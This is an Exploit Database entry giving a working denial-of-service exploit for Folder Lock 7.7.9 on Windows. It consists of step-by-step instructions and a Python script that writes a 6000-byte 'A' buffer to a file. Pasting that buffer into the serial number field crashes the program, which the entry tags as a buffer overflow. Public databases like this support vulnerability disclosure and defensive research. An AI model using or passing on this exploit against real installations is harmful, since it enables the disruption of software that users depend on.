Folder Lock 7.7.9 - Denial of Service

EDB-ID:
47383

CVE:
N/A

EDB Verified: ×

Author:
ACHILLES

Type:
DOS

Exploit: / {}

Platform:
WINDOWS

Date:
2019-09-13

Vulnerable App:

```
# Exploit Title: Folder Lock v7.7.9 Denial of Service Exploit
# Date: 12.09.2019
# Vendor Homepage:https://www.newsoftwares.net/folderlock/
# Software Link:  https://www.newsoftwares.net/download/folderlock7-
en/folder-lock-en.exe
# Exploit Author: Achilles
# Tested Version: 7.7.9
# Tested on: Windows 7 x64


# 1.- Run python code :Folder_Lock.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Folderlock and Click 'Enter Key'
# 4.- Paste the content of EVIL.txt into the Field: 'Serial Number and
Registration Key'
# 5.- Click 'Submit' and you will see a crash.
```

```
#!/usr/bin/env python
buffer = "\x41" * 6000

try:
    f=open("Evil.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: Denial of Service (DoS), Buffer Overflow

Advisory/Source: Link

Databases

Links

Sites

Solutions